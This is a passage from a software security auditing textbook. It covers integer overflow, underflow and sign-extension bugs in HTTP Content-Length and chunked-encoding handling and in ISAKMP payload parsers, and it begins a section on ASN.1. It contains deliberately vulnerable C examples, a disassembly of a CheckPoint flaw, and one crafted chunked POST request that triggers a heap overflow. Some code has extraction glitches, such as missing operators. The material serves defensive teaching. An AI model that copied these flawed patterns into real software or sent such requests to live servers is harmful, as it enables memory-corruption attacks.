*sockPtr) { Ns_Sock *sock = (Ns_Sock *) sockPtr; struct iovec buf; Request *reqPtr; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 954 Tcl_DString *bufPtr; char *s, *e, save; int cnt, len, nread, n; ... s = Ns_SetIGet(reqPtr->headers, "content-length"); if (s != NULL) { reqPtr->length = atoi(s); ... if (reqPtr->length < 0 && reqPtr->length > sockPtr->drvPtr->servPtr->limits.maxpost) { return SOCK_ERROR; } ... if (reqPtr->coff > 0 && reqPtr->length <= reqPtr->avail) { reqPtr->content = bufPtr->string + reqPtr->coff; reqPtr->next = reqPtr->content; reqPtr->avail = reqPtr->length; /* * Ensure that there are no "bonus" crlf chars left * visible in the buffer beyond the specified * content-length. This happens from some browsers * on POST requests. */ if (reqPtr->length > 0) { reqPtr->content[reqPtr->length] = '\0'; } return (reqPtr->request ? SOCK_READY : SOCK_ERROR); } This code is quite strange. After retrieving a Content-Length specified by users, it explicitly checks for values less than 0. If Content-Length is less than 0 and greater than maxpost (also a signed integer, which is initialized to a default value of 256KB), an error is signaled. A negative Content-Length triggers the first condition but not the second, so this error doesn't occur for negative values supplied to Content-Length. (Most likely, the developers meant to use || in the if statement rather than &&.) As a result, reqPtr->avail (meant to indicate how much data is available in reqPtr->content) is set to a negative integer of the attacker's choosing, and is then used at various points throughout the program. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 955 Data can also be posted to HTTP servers via chunked encoding. With this method, input is supplied by a series of delineated chunks and then combined when all chunks have been received to form the original data contents. Instead of specifying a content size with the Content-Length header, the Transfer-Encoding header is used, and it takes the value "chunked." It also has a boundary pattern to delineate the supplied chunks. The header looks something like this: Transfer-Encoding: chunked; boundary= A chunk is composed of a size (expressed in hexadecimal), a newline (carriage return/line feed [CRLF] combination), the chunk data (which is the length specified by the size), and finally a trailing newline (CRLF combination). Here's an example: 8 AAAAAAAA 10 AAAAAAAABBBBBBBB 0 The example shows two data chunks of lengths 8 and 16. (Remember, the size is in hexadecimal, so "10" is used rather than the decimal "16.") A 0-length chunk indicates that no more chunks follow, and the data transfer is complete. As you might have guessed, remote attackers specifying arbitrary sizes has been a major problem in the past; careful sanitation of specified sizes is required to avoid integer overflows or sign-comparison vulnerabilities. These vulnerabilities are much like the errors that can happen when processing a Content-Length value that hasn't been validated adequately, although processing chunk-encoded data poses additional dangers. In the Content-Length integer overflows, an allocation wrapper performing some sort of rounding was necessary for a vulnerability to exist; otherwise, no integer wrap would occur. With chunked encoding, however, data in one chunk is added to the previous chunk data already received. By supplying multiple chunks, attackers might be able to trigger an integer overflow even if no allocation wrappers or rounding is used, as shown in this example: char *read_chunks(int sock, size_t *length) { size_t total = 0; char *data = NULL; *length = 0; for(;;){ char chunkline[MAX_LINE]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 956 int n; size_t chunksize; n = read_line(sock, chunkline, sizeof(chunkline)-1); if(n < 0){ if(data) free(data); return NULL; } chunkline[n] = '\0'; chunksize = atoi(chunkline); if(chunksize == 0) /* no more chunks */ break; if(data == NULL) data = (char *)malloc(chunksize); else data = (char *)realloc(data, chunksize + total); if(data == NULL) return NULL; read_bytes(sock, data + total, chunksize); total += chunksize; read_crlf(sock); } *length = total; return data; } As you can see, the read_chunks() function reads chunks in a loop until a 0-length chunk is received. The cumulative data size is kept in the total variable. The problem is the call to realloc(). When a new chunk is received, the buffer is resized to make room for the new chunk data. If the addition of bytes received and the size of the new The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 957 chunk is larger than the maximum representable integer, an overflow on the heap could result. A request to trigger this vulnerability would look something like this: POST /url HTTP/1.1 Host: hi.com Transfer-Encoding: chunked 8 xxxxxxxx FFFFFFF9 xxxxxx... (however many bytes you want to overflow by) The request is composed of two chunks: a chunk of length 8 bytes and a chunk of length 0xFFFFFFF9 bytes. The addition of these two values results in 1, so the call to realloc() attempts to shrink the buffer or leave it untouched yet read a large number of bytes into it. Note The reason FFFFFFF9, not FFFFFFF8, bytes is used in this example is because with FFFFFFF8, the result of the addition would be 0, and many implementations of realloc() act identically to free() if a 0 is supplied as the size parameter. When this happens, realloc() returns NULL. Even though you could free data unexpectedly by supplying a 0 size to realloc(), the function would just return, and the vulnerability wouldn't be triggered successfully. 8.3.4 Internet Security Association and Key Management Protocol The demand for virtual private network (VPN) technology has increased, so protocols that enable VPN functionality have seen an explosion in use over the past five years or so. VPN technology requires establishing encrypted tunnels between two previously unrelated hosts for some duration of time. Establishing these tunnels requires some sort of authentication mechanism (unidirectional or bidirectional) to verify the other party in the tunnel setup and a mechanism to securely create an encrypted channel. Enter Internet Security Association and Key Management Protocol (ISAKMP), a protocol designed to allow parties to authenticate each other and securely derive an encryption key that can be used for subsequent encrypted communications. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 958 An ISAKMP packet is composed of an ISAKMP header followed by a variable number of payloads, each of which can be a variable length. The header layout is shown in Figure 16-1. Figure 16-1. ISAKMP protocol header The fields in the header are as follows.  Initiator cookie (64 bits) This unique value is generated by the party wanting to establish a new secure tunnel (and, therefore, initiating the ISAKMP communications). It's used to keep track of the session.  Responder cookie (64 bits) This unique value is generated by the other party to which a client wants to establish a secure tunnel. It uniquely identifies the session for the responder.  Next payload (8 bits) This type value describes the first payload following the ISAKMP header (explained in "Payload Types" later in this chapter).  Major version (4 bits) This field is the major protocol version used by the sender.  Minor version (4 bits) This field is the minor protocol version used by the sender.  Exchange type (8 bits) This field describes the way in which ISAKMP negotiation occurs.  Flags (8 bits) This field indicates the options set for the ISAKMP exchange.  Message ID (32 bits) This field is used to uniquely identify a message.  Length (32 bits) This field is the total length of the packet in bytes (including the ISAKMP header). The ISAKMP packet header contains a 32-bit length field. Application programmers can easily make mistakes with binary protocols handling untrusted 32-bit integers, so The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 959 you should examine code that deals with this integer carefully. Primarily, signed issues and integer overflows could happen if code fails to deal appropriately with data received from the network. Here's a typical example: #define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) void *mymalloc(size_t length) { return malloc(ROUNDUP(length)); } int process_incoming_packet(int sock) { struct isakmp_hdr header; unsigned char *packet; unsigned long length; int n; if((n = read(sock, (void *)&header, sizeof(header))) != sizeof(header)) return -1; length = ntohl(header.length); if((packet = (unsigned char *)mymalloc(length)) == NULL) return 1; ... process data ... } The mymalloc() function rounds up the integer passed to it, so this code is vulnerable to an integer overflow. Using the allocator scorecards from Chapter 7(? [????.]), "Program Building Blocks," you would see this bug straight away. It's a textbook example of an allocation wrapper proving dangerous for functions that make use of it. Another interesting thing about the length field in the header is that it's the total length of the packet, including the ISAKMP header, which means developers might assume the length field is larger than (or equal to) the ISAKMP header's size (8 bytes). If this assumption were made, integer underflow conditions might result. A slightly modified version of the previous example is shown: #define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) #define ISAKMP_MAXPACKET (1024*16) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 960 void *mymalloc(size_t length) { return malloc(ROUNDUP(length)); } int process_incoming_packet(int sock) { struct isakmp_hdr header; unsigned char *packet; unsigned long length; int n; if((n = read(sock, (void *)&header, sizeof(header))) != sizeof(header)) return -1; length = ntohs(header.length); if(length > ISAKMP_MAXPACKET) return 1; if((packet = (unsigned char *)mymalloc(length sizeof(struct isakmp_hdr))) == NULL) return 1; ... process data ... } In this example, there's a sanity check for unusually large length values, so an integer overflow couldn't be triggered as in the previous example. However, length is assumed to be larger than or equal to sizeof(struct isakmp_hdr), but no explicit check is ever made. Therefore, a length value less than sizeof(struct isakmp_hdr) causes the argument to mymalloc() to underflow, resulting in a very large integer. If this argument is passed to directly to malloc(), this large allocation might just fail. However, because the mymalloc() function rounds up its size parameter, it can be made to wrap over the integer boundary again. This causes a small allocation that's probably followed by another read() operation with a large size argument. Payloads As mentioned, the remainder of an ISAKMP packet is composed of a varying number of payloads. All payloads have the same basic structure, although the data fields in The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 961 the payload are interpreted differently, depending on their type. The payload structure is shown in Figure 16-2. Figure 16-2. ISAKMP payload header structure  Next payload (8 bits) This field identifies the type of the next payload in the packet. If there's no payload following this one, the next payload type is set to none (0).  Reserved (8 bits) Not yet used.  Length (16 bits) This field specifies the length of the payload (including the four header bytes).  Data This field represents the payload data. Its meaning depends on the payload type. The length field is, of course, significant when processing payloads. The issues in dealing with this length value are similar to those you might encounter when dealing with the ISAKMP header length, but you need to consider some unique factors. First, the length field in the payload header is 16 bits, not 32 bits. This means less chance of an integer overflow condition occurring unless 16-bit variables are used in the code. Even then, the chances of an integer overflow are reduced. To see how this works, look at the following code: #define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) struct _payload { unsigned char type; unsigned short length; unsigned char *data; }; void *mymalloc(unsigned short length) { length = ROUNDUP(length); return malloc(length); } struct payload *payload_read(char *srcptr, size_t srcsize, unsigned char type, unsigned char *nexttype) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 962 { struct _payload *payload; if(srcsize < 4) return NULL; if((payload = (struct _payload *)calloc(1, sizeof(struct _payload))) == NULL) return NULL; payload->type = type; payload->length = ntohs(*(unsigned short *)(srcptr+2)); *nexttype = *(unsigned char *)srcptr; if((payload->data = (unsigned char *)mymalloc(length)) == NULL){ free(payload); return NULL; } memcpy(payload->data, srcptr+4, payload->length); return payload; } The payload_read() function is vulnerable to a 16-bit integer overflow in the mymalloc() call but only because mymalloc() takes a 16-bit argument now (as opposed to a 32-bit size_t argument in the previous example). Although possible, it's unlikely that developers code allocation routines to deal with only 16-bit values. Still, it does happen from time to time and is worth keeping an eye out for. Similar to the ISAKMP packet length, payload lengths might underflow if they're assumed to be a certain size. Specifically, because the payload size includes the size of the payload header (four bytes), code might assume the specified payload length is at least four bytes. This assumption might lead to memory corruption, most likely a negative memcpy() error. In fact, the CheckPoint VPN-1 ISAKMP implementation had two such vulnerabilities when processing ID and certificate payloads. Listing 16-2 shows the vulnerable portion of the certificate payload-handling code. For this example, assume the payload length of the certificate payload is stored in eax and a pointer to the payload data is in esi. Listing 16-2. Certificate Payload Integer Underflow in CheckPoint ISAKMP .text:0042B17A add eax, 0FFFFFFFBh .text:0042B17D push eax The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 963 .text:0042B17E push [ebp+arg_C] .text:0042B181 add esi, 5 .text:0042B184 push esi .text:0042B185 mov [edi], eax .text:0042B187 call ebx ; __imp_bcopy As you can see, no check is done to ensure that the payload length is greater than or equal to five before five is subtracted from it. A payload length of four or less results in an integer underflow condition, and the result is passed to bcopy(). Another issue to watch out for with payload length is the relationship it shares with the original length value in the ISAKMP header. Specifically, the following must be true: Amt of bytes already processed + current payload length <= isakmp packet length If there's no explicit check for this relationship, data could be read out of bounds or a memory corruption related to an incorrect integer calculation could be triggered. Here's a simple example: struct _payload { unsigned char type; unsigned short length; unsigned char *data; }; int payload_process(unsigned char *packet, size_t length, int firsttype) { char *srcptr; struct _payload *payload; struct _list *list; int rc, type = firsttype; list = list_alloc(); for(srcptr = packet; length; ){ payload = payload_read(srcptr, length, type, &type); if(payload == NULL) return 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 964 list_add(list, payload); srcptr += payload->length; length -= payload->length; } } Assume the same payload_read() function from the previous examples is being used. The payload_read() function in this code simply scans through the ISAKMP packet, breaking it up into its constituent payloads, which are placed in a linked list. The payload_read() function from previous examples never verifies the length variable against the real length of the packet, so it reads data out of bounds. This little error causes additional problems during payload_process(). Because length is decremented by a value that's too large, it underflows, and length becomes a very large number. As a result, this program will probably keep trying to interpret random heap data as ISAKMP payloads until it runs off the end of the heap. Payload Types ISAKMP packets are composed of a series of payloads. Data in each payload is interpreted according to its type, as described in the following sections. Security Association Payload The security association (SA) payload is used in the initial phases of a negotiation to specify a domain of interpretation (DOI) and a situation. Figure 16-3 shows the structure of the SA payload header: Figure 16-3. ISAKMP security association payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 965 The DOI field describes how the situation data should be interpreted. Currently, there are only two DOI values you need to know: 0 and 1. The 0 value specifies a generic security association (one that can be used with any protocol), whereas a 1 value means an IPsec situation, and the negotiations are for establishing an IPsec key. The situation field is composed of a number of encapsulated proposal payloads (explained in the next section). SA payloads don't have too many issues (apart from dealing with unknown DOIs incorrectly), but an SA payload containing embedded proposal payloads establishes a relationship between the length of the SA payload and the size of the embedded proposal payloads. These issues are discussed in the next section. Proposal Payload The proposal payload appears inside an SA payload and is used to communicate a series of security mechanisms the sender supports. The proposal payload header is shown in Figure 16-4. Figure 16-4. ISAKMP proposal payload header The first issue is the payload length field. In addition to the standard problems in parsing payloads (as discussed in the "Payloads" section), the proposal payload length field must be checked against the SA payload length containing it. Because the proposal payload field is encapsulated inside the SA, a proposal payload that's larger than its containing SA payload can cause problems, as shown in the following example: unsigned short process_proposal(unsigned char *packet) { unsigned char next, res; unsigned short length; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 966 next = *packet++; res = *packet++; length = get16(packet); ... process proposal ... } int process_sa_payload(unsigned char *packet, size_t length) { unsigned char next, res; unsigned short payload_length, prop_length; unsigned long doi; if(length < 8) return 1; next = *packet++; res = *packet++; payload_length = get16(packet); packet += 2; doi = get32(packet); packet += 4; if(payload_length > length) return 1; for(payload_length -= 4; payload_length; payload_length -= prop_length){ prop_length = process_proposal(packet); if(trans_length == 0) return -1; } return 0; } This code has some obvious flaws. The process_proposal() function doesn't take a length argument! Consequently, the length field in the proposal payload isn't validated, and it could point past the end of the SA payload that's supposed to contain it. If this happened, the payload_length value in process_sa_payload() would underflow, resulting in the program evaluating the SA payload's size incorrectly. This error might lead to denial of service or exploitable memory corruption vulnerabilities. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 967 The proposal payload contains an 8-bit SPI (Security Parameter Index) size field that indicates the length of the SPI that follows. In ISAKMP, the SPI size is usually 0 or 16 (because the SPI for ISKAMP is the initiator and responder cookies in the ISAKMP header). The SPI size in this context is interesting. Applications that parse proposals can be vulnerable to incorrectly sign-extending the SPI size or suffer from memory corruption issues caused by failure to validate the SPI size against the payload length field to ensure that the SPI size is smaller. The SPI size field appears in numerous payloads; these issues are discussed in "Notification Payload" later in this chapter. Transform Payload Transform payloads are encapsulated inside proposal payloads and consist of a series of SA attributes that combine to describe a transform (also referred to as a "security mechanism"). The structure of a transform payload is shown in Figure 16-5. Figure 16-5. ISAKMP transform payload header Like the proposal payload, problems can happen when processing the payload length if it's not validated correctly because this payload appears only encapsulated in another. Key Exchange Payload The key exchange payload has a simple structure shown in Figure 16-6. Figure 16-6. ISAKMP key exchange payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 968 The key exchange field contains only one more element than the generic payload: the key exchange data field, which contains information required to generate a session key. The contents of key exchange data depend on the key exchange algorithm selected earlier in the negotiations. There are no parsing complexities in dealing with the key exchange payload because keys are usually a precise size for an algorithm. However, an unusually large key might result in a buffer overflow if no checks are made to ensure that a provided key is the correct size. Take a look at this simple example: struct _session { int key_type; union { unsigned char rsa_key[RSA_KEY_MAX_SIZE]; unsigned char dsa_key[DSA_KEY_MAX_SIZE]; } key; ... other stuff ... }; int process_key_payload(struct _session *session, unsigned char *packet, size_t length) { unsigned char next, res; unsigned short payload_length; if(length < 4) return 1; next = *packet++; res = *packet++; payload_length = get16(packet); packet += 2; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 969 switch(session->key_type){ case RSA: memcpy(session->key.rsa_key, packet, payload_length); do_rsa_stuff(session); break; case DSA: memcpy(session->key.dsa_key, packet, payload_length); do_dsa_stuff(session); break; default: return 1; } return 0; } This code carelessly neglects to verify that the specified key isn't larger than RSA_KEY_MAX_SIZE or DSA_KEY_MAX_SIZE. If an attacker specified a key larger than either size, other structure members could be corrupted as well as the program heap. Identification Payload The identification payload, shown in Figure 16-7, uniquely identifies the entity wanting to authenticate itself to the other party in the communication. Figure 16-7. ISAKMP identification payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 970 Identification can be expressed in numerous ways. The identification data in this payload has different meanings depending on the specified DOI and ID type. In IPsec DOI, the following forms of identification are possible:  IP address (IPv4 or IPv6)  Fully qualified domain name (FQDN)  User FQDN  IP subnet (IPv4 or IPv6)  IP address range (IPv4 or IPv6)  DER-encoded X.500 distinguished name (DN)  DER-encoded X.500 general name (GN)  Key ID Because there's a range of choices for identification, parsing this payload is usually involved and has more opportunities for things to go wrong. Most of the ID representations are quite simple, but a few issues can occur. First, making assumptions about fixed-length fields might lead to simple buffer overflows. In the following example, an IP address is being used for identification: int parse_identification_payload(unsigned char *packet, size_t length) { unsigned short payload_length, port; unsigned char next, res; unsigned char type, id; unsigned char ip_address[4]; if(length < IDENT_MINSIZE) return 1; next = *packet++; res = *packet++; payload_length = get16(packet); packet += 2; if(payload_length < IDENT_MINSIZE) return 1; type = *packet++; id = *packet++; port = get16(packet); packet += 2; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 971 payload_length -= IDENT_MINSIZE; switch(type){ case IPV4_ADDR: if(payload_length < 4) return 1; memcpy(ip_address, packet, payload_length); break; ... other stuff ... } This code has a simple buffer overflow because it's expecting the specified IP address to be only four bytes, but there are no length checks to enforce this size. A few other fields also involve parsing strings into constituent elements, primarily the FQDN method (takes hostnames, such as my.host.com) and user FQDNs (takes names and hosts in the form [email protected]). The material from Chapter 7(? [????.]) is particularly relevant; simple buffer overflows, pointer arithmetic errors, off-by-one errors, and incrementing a pointer past a NUL byte are a few things that can happen when trying to interpret these fields. DER-encoded mechanisms, a binary encoding format discussed in "Distinguished Encoding Rules(? [????.])" later in this chapter, have had a host of problems recently, mostly integer-related issues. Certificate Payload As the name suggests, the certificate payload contains certificate data used to authenticate one participant in the connection setup to another (usually client to server, but it works both ways). Figure 16-8 shows the certificate payload header. Figure 16-8. ISAKMP certificate payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 972 The certificate-encoding byte specifies how to interpret the certificate data trailing it. RFC 2408 defines these encodings for a certificate:  None  PKCS#7 wrapped X.509 certificate  PGP certificate  X.509 certificatesignature  X.509 certificatekey exchange  Kerberos tokens  Certificate Revocation List (CRL)  Authority Revocation List (ARL)  SPKI certificate  X.509 certificateattribute What's interesting about the certificate payload is that a certificate can be supplied in a multitude of formats, provided the participant supports them. The variety of formats makes it possible to use a series of code paths (PGP parsing, Kerberos parsing, PKCS parsing, and so on) that need to be flawless; otherwise, the ISAKMP application can be exploited by remote unauthenticated clients. Certificate Request Payload The certificate request payload is used by either participant in a connection to request a certificate of its peer. It has an identical structure to the certificate payload, except it has certificate authority data instead of certificate data. Certificate authority data can be encoded in the same ways certificate data can. Hash Payload The hash payload contains a hash of some part of the ISAKMP message and is used for authentication or message integrity purposes (to prevent third parties from changing data en route). The hash payload header is shown in Figure 16-9. Figure 16-9. ISAKMP hash payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 973 The size of the hash data message depends primarily on the hashing algorithm used in the ISAKMP session, which is established earlier in the negotiation by using the SA payload data. As you can see, there are no extraneous length fields in the hash payload or decoding steps, so there are no real complications in parsing a hash payload. One thing to look out for, however, might be generic buffer overflows resulting from the program failing to verify the hash payload's size. This failure could happen when hashes are expected to be a particular size and memory for holding the hash data has been preallocated. Therefore, if an abnormally large hash payload is supplied, a generic buffer overflow would occur. Hash data is used to verify message integrity by using message data as input to a hashing function, which calculates a value and stores it in the hash payload. When the receiving party applies the same algorithm to the data, any modifications result in inconsistencies with the hash payload data. Signature Payload The signature payload is much like the hash payload, except it contains data created by the selected digital signature algorithm (if signatures are in use) rather than data the hash function created. The signature payload is shown in Figure 16-10. Figure 16-10. ISAKMP signature payload header Like the hash payload, signature payloads have no additional complications, except they might be expected to be a specific size. If so, abnormally large messages might not be handled correctly. Nonce Payload The nonce payload contains random data used for generating hashes with certain protocols. It's used to help guarantee uniqueness of a key exchange and prevent against man-in-the-middle attacks. The nonce payload is shown in Figure 16-11. Figure 16-11. ISAKMP nonce payload header The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 974 Again, the nonce payload has no additional complications other than general payload-parsing problems. As with hash and signature payloads, nonce payloads that are unusually large might cause problems if no length validation is done on the payload. Notification Payload The notification payload conveys information about an error condition that has occurred during protocol exchange. It does this by transmitting a type code that represents a predefined error condition encountered during processing. Figure 16-12 shows the notification payload. Figure 16-12. ISAKMP notification payload header This payload has a slightly more complex structure than the previous payloads. It's obviously required to be a minimum size (12 bytes, plus the size of the SPI and notification data). Failure to ensure that the payload is at least this size might lead to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 975 vulnerabilities similar to those in general payload types of a size smaller than four. An example of an invalid notification payload parser is shown: int parse_notification_payload(unsigned char *data, size_t length) { unsigned long doi; unsigned short mtype; unsigned char spi_size, protocol_id; doi = get_32(data); protocol_id = get_8(data+4); spi_size = get_8(data+5); mtype = get_16(data+6); length -= 8; data += 8; ... get SPI and notification data ... } You can see a vulnerability with the way length is subtracted. No check is made to ensure that length is at least eight bytes to start, so an unexpected small notification payload results in an integer underflow that likely leads to memory corruption. Although this bug is much the same as the one in general payloads with a length less than four, this error of small notification payloads is slightly more likely to occur in code you audit. The reason is that ISAKMP implementations commonly have generic payload parsers that sort packets into structures, and these parsers tend to be more robust than individual payload parsers because they have been through more rigorous testing. Note In a review of several popular implementations at one stage, Neel Mehta and Mark Dowd found that generic packet parsers seem to be safe in general, but specific payload handling was often performed by much less robust code. Another element of interest in the notification payload is the SPI size parameter. RFC 2408 describes this field as follows: SPI Size (1 octet) - Length in octets of the SPI as defined by the Protocol-ID. In the case of ISAKMP, the Initiator and Responder cookie pair from the ISAKMP Header is the ISAKMP SPI; therefore, the SPI Size is irrelevant and MAY be from zero (0) to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 976 sixteen (16). If the SPI Size is non-zero, the content of the SPI field MUST be ignored. The Domain of Interpretation (DOI) will dictate the SPI Size for other protocols. As stated, the SPI size in an ISAKMP packet should be a value between 0 and 16 (inclusive). Whenever a field in a protocol can represent more values than are legal, there's the potential for causing problems if developers neglect to check for illegal values correctly. Also, because SPI size is a single-byte field, remember there's the possibility of sign-extension vulnerabilities for illegal values, as in the following example: int parse_notification_payload(char *data, size_t length) { long doi; unsigned short mtype, payload_size, notification_size; char spi_size, protocol_id; payload_size = ntohs(*(data+2)); spi_size = *(data+6); if(spi_size > payload_size) return 1; notification_size = payload_size spi_size; ... do more stuff ... } A couple of typing issues make this code vulnerable to attack. First, there's a sign-extension issue in the comparison of spi_size and payload_size. Because spi_size is a signed character data type, when the integer promotion occurs, spi_size is sign-extended. So if the top bit is set, all bits in the most significant three bytes are also set (making spi_size a negative 32-bit integer). Usually, when comparing against an unsigned value, spi_size is cast to unsigned as well, but because payload_size is an unsigned short value (which is only 16 bits), it's also promoted to a signed 32-bit integer; so this comparison is a signed comparison. Therefore, a negative spi_size causes notification_size to contain an incorrect value that's larger than payload_size. (payload_size with a negative integer subtracted from it is just like an addition.) Second, you might have noticed that SPI is directly related to the payload size. So failure to ensure that it's less than the payload size also results in an integer underflow condition (or memory corruption) that might allow reading arbitrary data from the process memory. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 977 Delete Payload The delete payload is used to inform a responder that the initiator has invalidated certain SPIs. The structure of a delete payload is shown in Figure 16-13. Figure 16-13. ISAKMP delete payload header Vulnerabilities from processing a delete payload might be similar to those from processing a notification payload because delete payloads also have a predefined minimum size requirement and contain the SPI size. The SPI size has a slightly different meaning in the delete payload, however. The delete payload supplies multiple SPIs, each one the size indicated by the SPI size. The SPI count parameter indicates how many SPIs are included in this payload, so the total number of bytes of SPI data in a delete payload is the multiplication of these two fields. This multiplication might introduce two additional complications; the first is sign extensions of the SPI size or SPI count because they result in a multiplication integer wrap, as shown in the following code: int process_delete(unsigned char *data, size_t length) { short spi_count; char spi_size, *spi_data; int i; ... read values from data ... spi_data = (char *)calloc(spi_size*spi_count, sizeof(char)); data += DELETE_PAYLOAD_SIZE; for(i = 0; i < spi_count; i++){ if(read_spi(data+(i*spi_size)) < 0){ The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 978 free(spi_data); return 1; } } ... more stuff ... } The allocation of spi_data is going to be an incorrect size if spi_size or spi_count is negative. Both values are sign-extended, so multiplication results in an incorrect size allocation. The second complication caused by multiplying two fields is the possibility of 16-bit integer wraps if a program uses 16-bit size variables in certain areas, as shown in the following example: int process_delete(unsigned char *data, size_t length) { unsigned short spi_count, total_size; unsigned char spi_size, *spi_data; int i; ... read values from data ... total_size = spi_size * spi_count; spi_data = (char *)calloc(total_size, sizeof(char)); data += DELETE_PAYLOAD_SIZE; for(i = 0; i < spi_count; i++){ if(read_spi(data+(i*spi_size)) < 0){ free(spi_data); return 1; } } ... more stuff ... } Disaster! Because total_size is only 16 bits in this function, causing an integer wrap when multiplying spi_count and spi_size is possible. This error results in a very small allocation with a fairly large amount of data read into it. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 979 Vendor ID Payload The vendor ID payload simply contains data to uniquely identify vendors. The content of a vendor ID payload is supposed to be a hash of the vendor and the software version the sender uses, but it can be anything that uniquely identifies the vendor. Clients and servers typically send it during the initial phase of negotiation, but it's not a required payload. The only problem when dealing with a vendor ID is if a version parser interprets the data in some manner or the vendor ID is blindly copied into a buffer without first checking that it fits in that buffer, as in this example: #define MYVERSION "MyISAKMPVersion" int parse_version(struct _payload *vendor) { char buffer[1024]; if(vendor->length != sizeof(MYVERSION) || memcmp(vendor->data, MYVERSION, sizeof(MYVERSION)){ sprintf(buffer, "warning, unknown client version: %s\n", vendor->data); log(buffer); return 0; } return 1; } Obviously, a straightforward buffer overflow exists if a vendor ID larger than 1,024 bytes is supplied to the parse_version() function. Encryption Vulnerabilities ISAKMP is now a widely accepted and used standard, and finding cryptography-related problems in applications that implement public protocols is much harder. The reason is that standards committees usually have a protocol scrutinized before accepting it, and then spell out to application developers how to implement cryptographic components. Still, vulnerabilities occur from time to time in cryptography implementations of protocols, so you need to be aware of potential attack vectors that might allow decrypting communications, along with other issues. Over time, some generic attacks against ISAKMP when operating in various modes (especially aggressive mode) have taken place. In late 1999, John Pliam published an interesting paper detailing several attacks related to weak preshared secrets (www.ima.umn.edu/~pliam/xauth/). In 2003, Michael Thumann and Enno Rey demonstrated an attack against ISAKMP in aggressive mode that allowed them to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 980 discover preshared keys (PSKs). This presentation is available at www.ernw.de/download/pskattack.pdf. It's entirely possible that implementations are still vulnerable to these attacks if they support aggressive mode and make use of PSKs. Apart from finding new and exciting ways to break ISAKMP's cryptography model, the only other thing left to do is ensure that the implementation you're examining conforms to the specification exactly. In most cases, it does; otherwise, it wouldn't work with other VPN clients. 8.3.5 Abstract Syntax Notation (ASN.1) Abstract Syntax Notation (ASN.1) is an abstract notational format designed to represent simple and complex objects in a machine-independent format (http://asn1.elibel.tm.fr/standards/). It's an underlying building block used for data transmission in several major protocols, including (but not limited to) the following:  Certificate and key encoding Primarily used in SSL and ISAKMP, but also used in other places, such as PGP-encoded keys.  Authentication information encoding Microsoft-based operating systems use ASN.1 extensively for transmitting authentication information, particularly when NTLM authentication is used.  Simple Network Management Protocol (SNMP) Objects are encoded with ASN.1 in SNMP requests and replies.  Identity encoding Used in ISAKMP implementations to encode identity information.  Lightweight Directory Access Protocol (LDAP) Objects communicated over LDAP also use ASN.1 as a primary encoding scheme. ASN.1 is used by quite a few popular protocols on the Internet, so vulnerabilities in major ASN.1 implementations could result in myriad exploitable attack vectors. As always, when encountering a protocol for the first time, you should analyze the blocks of data that are going to be interpreted by remote nodes first to get a basic understanding of how things work and discover some hints about what's likely to go wrong. ASN.1 is not a protocol as such, but a notational standard for expressing some arbitrary protocol without having to define an exact binary representation (an abstract representationhence the name). Therefore, to transmit data for a protocol that uses ASN.1, some encoding rules need to be applied to the protocol definitions. These rules must allow both sides participating in data exchange to accurately interpret information . There are three standardized methods for encoding ASN.1 data:  Basic Encoding Rules (BER)  Packed Encoding Rules (PER) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 981  XML Encoding Rules (XER) Auditing applications that use ASN.1 means you're auditing code that implements one of these encoding standards. So you need to be familiar with how these encoding rules work, and then you can apply the lessons learned earlier in Part II(? [????.]) of this book. Before you jump into the encoding schemes, take a look at the data types defined by the ASN.1 notational standard, so you know what kind of data elements you are actually going to be encoding. Types for ASN.1 are divided into four classes:  Universal Universal tags are for data types defined by the ASN.1 standard (listed in Table 16-1). Table 16-1. ASN.1 Universal Data Types Universal Identifier Data Type 0 Reserved 1 Boolean 2 Integer 3 Bit string 4 Octet string 5 Null 6 Object identifier 7 Object descriptor 8 Extended and instance-of 9 Real 10 Enumerated type 11 Embedded PDV 12 UTF-8 string 13 Relative object identifier 14 Reserved 15 Reserved 16 Sequence and sequence-of 17 Set and set-of 18 Numeric character string The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 982 Table 16-1. ASN.1 Universal Data Types Universal Identifier Data Type 19 Printable character string 20 Teletex character string 21 Videotex character string 22 International alphabet 5 (IA5) character string 23 UTC time 24 Generalized time 25 Graphic character string 26 Visible character string 27 General character string 28 Character string 29 Character string 30 Character string   Application Tags that are unique to an application.  Context-specific These tags are used to identify a member in a constructed type (such as a set).  Private Tags that are unique in an organization Of these classes, only universal types, summarized in Table 16-1, are defined by the ASN.1 standard; the other three are for private implementation use. ASN.1 also distinguishes between primitive and constructed types. Primitive types are those that can be expressed as a simple value (such as an integer, a Boolean, or an octet string). Constructed types are composed of one or more simple types and other constructed types. Constructed types can be sequences (SEQUENCE), lists (SEQUENCE-OF, SET, and SET-OF), or choices. Note 